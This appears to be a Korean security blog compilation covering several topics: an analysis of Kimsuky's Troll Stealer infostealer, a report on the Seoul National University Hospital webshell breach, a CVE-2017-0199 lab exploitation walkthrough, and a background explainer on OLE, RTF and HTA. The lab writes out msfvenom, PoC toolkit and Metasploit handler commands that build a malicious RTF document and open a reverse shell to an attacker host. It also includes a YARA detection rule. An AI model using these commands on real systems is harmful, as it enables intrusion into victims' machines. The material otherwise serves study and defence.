1. 개요

- 북한 배후 해킹그룹 김수키(Kimsuky)에서 국내 보안 프로그램으로 위장한 악성코드 유표 정황 포착

- Go 언어 기반 인포스틸러로, 국내 보안기업의 보안 프로그램 설치파일로 위장

- 시스템 정보, 브라우저 정보, AV 설치 목록 등을 탈취하며, GPKI 정보 또한 탈취를 시도

- 악성코드에 파일에 포함된 문자열을 따 '트롤스틸러(Troll Stealer)'로 명명

 

2. 주요내용 [1]

- 악성코드는 국내 특정 웹 사이트 접속시 연결되는 보안 프로그램 다운로드 페이지로부터 유포

> SGA Solutions의 보안 프로그램 설치 파일(TrustPKI, NX_PRNMAN)로 위장

> 악성코드는 정상 인스트롤러와 악성코드를 드랍 및 실행하는 Dropper

> 악성파일은 모두 원래 인증서인 “SGA Solutions”가 아닌, 유효한 “D2innovation Co.,LTD” 인증서로 서명

[사진 1] 악성 파일 서명 정보

2.1 실행 흐름

[사진 2] 실행 흐름 요약

① Mutex  생성 및 자가 삭제

- 중복 실행 방지를 위한 Mutex 생성

- %Temp% 하위 경로에 자가 삭제를 위한 BAT 스크립트 파일 생성 및 실행

 

② 파일 Dropper

- 정상으로 위장하기 위해 SGA Solutions 정상 설치파일을 Desktop 경로에 설치 및 실행

- Troll Stealer와 감염 이력을 확인하기 위한 파일을 드랍

 

③ Troll Stealer 설치

- rundll32.exe 프로세스를 통해 실행하며, 감염 이력 확인을 위한 파일명이 Export 함수로 호출

> 감염 이력 확인을 위한 파일이 존재하는 경우에만 악성 행위 수행

> 자체적으로 중복실행 방지를 위한 Mutex 생성 (Dropper Mutex와 다른 값)

> 분석 방해를 위해 VMProtect 패킹

 

④ 구성 데이터 설정

- 감염된 시스템의 MAC주소, 디렉터리 경로 수집 후 악성행위 수행을 위해 Config 임시 파일 생성

> Config 내에는 C2 서버 주소 등의 정보가 포함

> Config 파일 암호화 후 C2 서버 전송 및 파일 삭제

 

⑤ 정보 수집

- 감염된 시스템 내 정보를 탈취 및 암호화 후 C2 서버로 전송

- 특히, C드라이브 내 GPKI(Government Public Key Infrastructure) 폴더 탈취 시도가 확인

> 행정전자서명인증서인 GPKI는 국내 행정 및 공공기관 등의 정부에서 사용하는 전자적 정보 [2]

> 행정전자서명의 진위를 검증할 때 사용되는 공인인증서

> 일반 PC에서는 사용되지 않고, 공무를 위해 사용되는 PC에 설치되는 것이 일반적

> 공공에 설치된 PC 등을 타겟으로 한 캠페인으로 평가됨

[사진 3] 악성코드 탈취 정보 목록

 

⑥ 파일 암호화

- C2 서버로 데이터 전송 전, 데이터를 암호화

> RC4와 RSA-4096 알고리즘을 조합하여 데이터를 암호화

> 하드코딩된 PKCS#1의 DER로부터 RSA 공개키 파싱을 수행

> 랜덤 RC4 키 값을 생성하여 탈취 데이터 암호화

> RSA 공개키를 이용해 RC4 암호화 키 암호화

 

⑦ C2 통신

- C2 통신을 위해 12개의 필드로 구성된 60바이트 크기의 구조를 사용

> 통신 목적과 전송하는 데이터 유형에 따라 각 필드 값을 다르게 설정

> 데이터를 구조에 맞게 구성한 후 바이너리 내 하드코딩된 4바이트 Key를 사용해 XOR 및 Base64 인코딩

> 인코딩 결과는 "a=[Encoded_Data]" 형식으로 C2 서버에 전송

※ 데이터 탈취 => 파일 암호화(RC4+RSA) => 통신 구조체 인코딩(XOR+Base64) => a 파라미터로 전달

[사진 4] 통신 구조 및 필드 값

⑧ 자가 삭제

- 악성행위 수행 후 자가삭제를 위해 .tmp 디렉토리에 PS1 파일 생성

> PS1 파일은 악성 DLL 및 스스로를 삭제

 

※ 분석 보고서에서 침해지표 제공 [1]

 

3. 참고

[1] https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-35b3cd961f91
[2] https://www.gpki.go.kr/jsp/certInfo/certIntro/eSignature/searchEsignature.jsp
[3] https://www.boannews.com/media/view.asp?idx=126703&page=1&kind=1

침해 사고 정보
일자 2021/06/05 ~ 2021/06/11
침해 정보 - 환자정보: 병원등록번호, 성명, 생년월일, 성별, 나이, 진료과, 진단명, 검사일, 검사명, 검사결과
- 직원정보: 사번, 성명, 주민번호, 거주지연락처, 연락처, 이메일, 근무부서정보, 직급연차정보, 임용퇴직정보, 휴복직정보, 자격면허정보 등
특징 파일 업로드 취약점을 이용한 웹쉘 업로드로
피해크기 - 약 83만명의 개인정보
> 환자 81만여명
> 전·현직 직원 1만7000여명 
침해 사고 분석
경위 21.05 ~ 21.06 국내·외에 소재한 서버 7대를 장악해 공격 기반 마련
> 국내 4대·해외 3대

② 웹쉘 업로드
> 내부망에서 사용하기 위한 계정 생성
> ID/PW : default/다치지 말라

③ 공유폴더와 연결된 서울대병원 내부망에 침입

④ 병리검사 서버에서 개인정보 탈취
> 81만명의 진료정보를 탈취

⑤ 내부망 전자사보DB에서 개인정보 탈취
> 1만 7000여명의 직원정보 탈취
> 이중 2000명의 정보는 실제 유출된 것으로 확인
원인 ① 파일 업로드가 가능한 병원 내부망의 보안 취약점을 활용
> 웹서버에 명령을 실행해 관리자 권한을 획득할 수 있는 웹쉘이 필터링 되지 않고 업로드 됨
조치 ① 21.07.06 서울대병원 침해 사실 최초 인지 및 공지 게시
- 교육부/보건복지부/개인정보보호위원회/사이버수사대 등에 신고후 조사를 진행
- 서울대병원의 후속조치
> 해당 IP 및 접속 경로 차단
> 서비스 분리
> 취약점 점검 및 보완조치
> 모니터링 강화
> 사용자 PC 비밀번호 변경
> 개인정보보호위원회 등 관련 유관기관 신고
> 병원에 등록된 휴대전화번호로 개인정보 유출 사실 개별 연락 수행

② 23.05.10 경찰청 발표
- 피해기관에 침입 및 정보 유출 수법과 재발 방지를 위한 보안 권고사항을 설명
- 관계기관에 북한 해킹조직의 침입 수법·해킹 도구 등 관련 정보를 제공
> 국가 배후의 조직적 사이버 공격에 대해 치안 역량을 총동원하여 적극적으로 대응
> 관계기관 정보공유 및 협업을 통해 추가적인 피해를 방지
> 사이버 안보를 굳건히 지키기 위해 노력할 계획

- 경찰
> 개인정보보호위원회 의결 결과에 따라 병원 개인정보 보호책임자 입건 여부 검토 예정

③ 23.05.10 개인정보보호위원회
- 전체회의를 통해 서울대학교병원에 과징금 7,475만원 부과 의결
> 서울대병원이 이미 널리 알려진 해킹공격(웹쉘)을 탐지하고, 방어할 관리적·기술적 조치가 미비했다고 판단
> 공공기관 최초로 과징금을 부과
기타 ① 기존 북한발로 확인된 다수 사건과 비교 결과 해당 사건 또한 북한발(김수키, Kimsuky)로 확인
- 기존 사례와 동일한 사항
> 공격 근원지 IP, IP 주소 세탁 기법: 과거 북한 해킹 조직이 사용했던 IP 포함
> 인터넷 사이트 가입정보, 시스템 침입·관리 수법: 해킹용 서버의 사용자 이름·이메일이 과거 북한 해킹조직이 사용한 정보
> 북한어휘 사용: 내부망에 생성한 계정의 비밀번호가 한글 자판으로 '다치지 말라'

② 이승운 경찰청 사이버테러수사대장
- 해킹 조직이 병리검사가 저장됐던 서버를 해킹
- 고위 인사의 개인정보를 빼내기 위한 목적으로 추정

③ 남석 개인정보위 조사조정국장
> 공공기관의 경우 다량의 개인정보를 처리
> 작은 위반행위로도 심각한 피해로 이어질 가능성이 큰 만큼 담당자들의 세심한 주의가 필요

④ 의료 분야 외 다른 분야 또한 주요 정보통신망에 대한 침입 시도가 지속될 것으로 예상
- 최신 보안 업데이트 적용
- 불법적인 접속시도에 대한 접근통제
- 개인정보를 포함한 중요 전산 자료 암호화 등 보안 시스템과 보안정책 강화 권고

 

'침해사고 > 개인정보' 카테고리의 다른 글

유안타증권 개인정보 유출  (0) 2023.07.21
해병대 개인정보 유출  (1) 2023.06.16
인터파크 개인정보 유출  (0) 2023.04.16
한국남부발전 개인정보 유출  (0) 2022.08.31
빗썸 개인정보 유출  (0) 2022.08.24

1. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-0199

- MS Zero-day 공격으로, OLE2link 오브젝트를 포함한 워드파일을 열기만 하면 임의의 코드가 실행되는 취약점

영향받는 버전: Microsoft Word 모든 버전

 

2. 실습

2.1 환경

- 공격자 환경

[사진 2] 공격자 환경

 

- 피해자환경

[사진 3] 피해자 환경

2.2 실습

① PoC를 위한 파일은 Github에 올라온 오픈 소스를 사용 [2]

git clone https://github.com/bhdresh/CVE-2017-0199

 

② msfvenom을 사용해 리버스쉘을 생성하는 HTA 파일을 생성

msfvenom [3][4]
- 메타스플로잇 프레임워크에 포함되어 있는 페이로드 생성 도구로 칼리에 내장되어 있음
- 2015년 6월에 msfpayload 및 msfencode가 msfvenom에 통합

 

- 해당 툴을 처음 사용해서 -h 옵션으로 사용법을 확인

> 실행 결과 중 Example 부분을 차용해 HTA 파일을 생성하면 될 것으로 판단

[사진 4] msfvenom 옵션

 

- [사진 2]에서 Example과 Options을 확인해보면 아래와 같은 페이로드를 완성할 수 있음

> -p windows/meterpreter/reverse_tcp: 리버스쉘을 생성하는 페이로드 사용

> LHOST=<공격자 IP>: 리버스쉘 생성시 접속할 공격자의 IP

> LPORT=<공격자 Port>: 리버스쉘 생성시 접속할 공격자의 Port

> -f <파일 포맷>: 파일 포맷 지정 (msfvenom --list format으로 사용가능한 포맷 확인 가능)

> -o <결과 파일명>: 앞서 설정한 옵션으로 생성할 결과 파일명

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f hta-psh -o report.hta

[사진 5] HTA 파일 생성

 

③ RTF 파일 생성

- ②에서 생성한 HTA 파일과 PoC 파일을 통해 RTF 파일을 생성

> -M gen: 악성 페이로드 생성

> -t RTF: 파일 유형으로 RTF 지정

> -w yeahhub.rtf: 공격에 사용할 RTF 파일명 지정

> -u hxxp://192.168.56.102:8000/report.hta: HTA 위치 지정

python cve-2017-0199_toolkit.py -M gen -t RTF -w yeahhub.rtf -u http://192.168.56.102:8000/report.hta

[사진 6] RTF 파일 생성

 

④ 웹 서버 구동

- 피해자가 악성 RTF 문서를 실행했을 때, 스크립트 형태의 악성코드를 전송해야 하므로 서버를 설정하는 것으로 판단됨.

> 아래 명령은 기본적으로 로컬 웹 서버의 8000번 포트를 이용

> RTF 파일을 생성한 디렉터리에서 HTTP를 실행해야 한다고 함

python -m SimpleHTTPServer

[사진 7] 서버 실행

 

⑤ msfconsole을 이용한 멀티핸들러 설정

- 이부분에서 multi/handler에 대한 이해가 되지않아 구글링 결과를 정리하면 다음과 같음

⒜ 피해자가 파일을 실행한 후 공격자가 제어하는 호스트로 접속이 되어야 공격자의 추가 공격 가능

> 피해자가 RTF 파일을 실행해 공격자 서버에 접근해 HTA 파일을 다운받아 스크립트를 실행해 리버스쉘 생성

⒝ 이때, 들어오는 접속을 multi/handler로 받아 메타스플로잇 세션을 열어줌

> multi/handler로 해당 세션을 메타스플로잇으로 넘겨줘 공격자가 추가 악성 행위 수행

# msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 4444
run

[사진 8] 메타스플로잇 실행

 

⑥ 피해시스템에서 파일 실행

[사진 9] 파일 실행

 

- [사진 8]에서 차단 해제를 클릭한 후 발생하는 알림창에서 예를 클릭

> ActiveX 실행 관련 알람 발생 후 문서가 실행됨

[사진 10] 차단 해제

 

⑦ 피해자 > 공격자 리버스쉘 생성

- 피해자 > 공격자 리버스쉘이 생성된 것을 확인할 수 있음

> 공격자:8000으로 접속하여 HTA 파일을 다운받음

> 피해 시스템에서 HTA 파일이 실행되 리버스쉘 생성

> multi/handler에 의해 메타스플로잇으로 해당 세션이 넘어가 추가 악성행위 가능

[사진 11] 리버스쉘 생성

 

[사진 12] 패킷 일부

 

- 위 과정을 요약하면 다음과 같음

[사진 13] 과정 요약

3. 대응방안

① 최신 보안 패치 적용

- 해당 취약점은 2017.04 MS에서 패치한 취약점

 

② 매크로 기능 비활성화

- 해당 취약점에서는 RTF 파일 실행 후 매크로 사용 시 악성코드에 감염

> 해당 취약점 외 공격자들이 악성코드 등을 유포하는데 매크로 기능을 주로 사용

 

③ 보안 장비에 탐지 규칙 적용 [5]

<예시>
rule rtf_objdata_urlmoniker_http {
 strings:
 $header = &quot;{\\rtf1&quot;
 $objdata = &quot;objdata 0105000002000000&quot; nocase
 $urlmoniker = &quot;E0C9EA79F9BACE118C8200AA004BA90B&quot; nocase
 $http = &quot;68007400740070003a002f002f00&quot; nocase
 condition:
 $header at 0 and $objdata and $urlmoniker and $http
 }

 

④ 불필요 또는 악성코드 유포 등에 사용된 확장자를 메일 보안 솔루션에서 필터링

> 확장자 차단에 따른 영향도 검토 필요

 

⑤ 출처가 불분명한 첨부파일 실행 주의/금지 등 기본적인 보안 방안 준수

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2017-0199
[2] https://github.com/bhdresh/CVE-2017-0199
[3] https://scytalezz.tistory.com/134
[4] https://dazemonkey.tistory.com/142
[5] https://blog.nviso.eu/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
[6] https://securityaffairs.co/58077/breaking-news/cve-2017-0199-exploitation-poc.html
[7] https://www.boannews.com/media/view.asp?idx=117413&page=1&kind=1 

1. 개요

- 북한 해킹 조직 킴수키(Kimsuky)에서 과거 활용했던 취약점

- 과거 북한은 해당 취약점을 이용해 2014.12.09 한수원 사태를 일으킴

- 해당 취약점은 발견 당시 Zero-Day 취약점이었으며, 2017.04 MS에서 패치를 진행

- 러시아에서 사이버무기로 활용하던 제로데이 취약점으로, 취약점이 공개되자 북한이 활용한 것으로 판단

※ 보안뉴스 "세계적인 관심 받고 있는 북한의 APT 단체 킴수키, 어떻게 막아야 하나" 취약점이 포함되어 있어 정리

 

2. 관련 지식

2.1 OLE

- 객체 연결 삽입(Object Linking and Embedding, OLE)의 준말

- MS에서 개발하였으며, 문서와 기타 객체에 연결과 삽입을 도와주는 연결규약

- 다른 응용프로그램에서 작성된 문자나 그림, mp3 등의 개체를 현재 작성 중인 문서에 자유롭게 연결하거나 삽입하여 편집할 수 있게 하는 기능

버전 설명
OLE 1.0 - 1990년에 출시
- MS가 초기 버전의 윈도우 OS용으로 만든 동적 데이터 교환(Dynamic Data Exchange, DDE)를 확장한 것
OLE 2.0 - 자동화, 드래그 앤 드롭 등의 기능이 추가

 

- 해당 취약점에서는 OLE2 link object를 악용

> OLE2 기술을 사용하여 생성된 객체를 다른 문서나 응용 프로그램과 연결하는 객체

> 원본 객체의 데이터와 OLE2 기술을 사용하여 생성된 링크 정보를 포함하며, 링크 정보를 사용하여 원본 객체를 참조

 

2.2 RTF 파일

- 서식있는 텍스트 파일 (Rich Text Format, RTF)

- MS가 1987년 개발 및 표준화한 파일 포맷으로 확장자로 ".RTF"를 가짐

- Microsoft Word, LibreOffice, OpenOffice 등 다양한 소프트웨어에서 지원

- 텍스트만 저장하는 일반 텍스트 파일과 달리 글꼴 스타일, 서식, 이미지 등에 대한 정보도 저장되어 서식 유지 가능

> ASCII 텍스트로 작성되어 있으며, 문서에 포함된 서식(글꼴, 색상, 크기, 스타일 등)을 나타내는 태그가 포함

> 서식 태그는 RTF 리더기나 편집기에서 해석되어 문서의 서식이 적용

 

2.3 URL Moniker

- URL Moniker는 COM 개체의 구성요소로, 인터넷에서 리소스를 찾아내 참조하기 위한 기술

- URL을 사용하여 웹 페이지, 이미지, 비디오, 오디오 등의 인터넷 리소스를 찾아내고, 해당 리소스를 다른 응용 프로그램과 공유할 수 있도록 해줌

COM(Component Object Model) 개체
- Microsoft에서 개발한 소프트웨어 컴포넌트 모델
- 프로그래밍 언어나 기술에 관계없이 서로 다른 소프트웨어 컴포넌트들이 상호작용할 수 있도록 해주는 일종의 인터페이스 규격
- COM 개체는 다른 소프트웨어 컴포넌트와 통신하기 위한 메서드와 속성을 제공하며, COM 라이브러리에 등록된 후 COM의 런타임 환경에서 실행

 

2.4 HTA 파일

- HTML Application의 약자이며, 확장자로 ".HTA"를 가짐

- 소스 코드가 HTML , 동적 HTML, VBScript, JScript 와 같이 Internet Explorer에서 지원하는 하나 이상의 스크립팅 언어로 구성된 Microsoft Windows 프로그램

- 인터넷 브라우저 보안 모델의 제약 없이 실행되며,  "완전히 신뢰할 수 있는" 응용 프로그램으로 실행됨

> 실행 시 실행 경고창이 생성되지 않음

> 신뢰할 수 없는 프로그램을 실행할 수 있고, Powershell을 이용하여 로컬 파일 목록을 획득하거나 랜섬웨어 공격 등에 악용되기도 함

 

2.4.1 HTML과 HTA 비교

- 아래 계산기를 실행하는 코드를 HTML과 HTA 파일로 만들어 실행해 결과를 비교

> HTML 실행 시 Activex 함수 실행 관련 경고창이 발생할 것으로 예상

> HTA 실행 시 아무런 경고창 없이 실행될 것으로 예상

<html>
<head>
<script language="javascript">
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>

 

 

- 예상과 달리 HTML과 HTA 파일 모두 첨부파일 실행 시 경고창이 발생하지 않음

> 엣지, 크롬으로 HTML을 실행해 보았으나, 경고창이 발생하지 않음

> 인터넷 익스플로러에서 HTML를 실행하면 ActivexObject 컨텐츠와 상호작용을 허용이 필요하다는 정보를 찾음

>  하지만, IE에서도 HTML 실행에 대한 경고가 발생하지 않았으며, 이유에 대해서는 아직 잘 모르겠음

 

 

- 두 파일의 아이콘과 실행 결과 모두 차이를 보임

> HTML 실행 결과 Activex 함수가 실행되지 않아 계산기 실행이 되지않음

> HTA 실행 결과 Activex 함수가 실행되어 계산기가 실행

[사진 1] HTML(좌), HTA(우) 아이콘 및 실행결과 비교

 

3. 공격방식

① 공격자가 OLE2 link object를 포함한 MS Word 문서를 사용자에게 피싱 메일 등으로 전송

② 사용자가 해당 문서를 열람할 경우 URL Moniker에 의해 공격자가 지정한 서버(공격자가 제어 가능한 서버)에 접근

③ 공격자의 서버에서 HTA 파일 형태로 스크립트가 사용자에게 전송

④ HTA 파일 특성 상 경고창 없이 실행되며, HTA 내부에 포함된 Powershell 명령이 실행되어 악성파일 요청

⑤ 요청한 악성파일을 전송 및 실행하여 악성행위 수행

+ Recent posts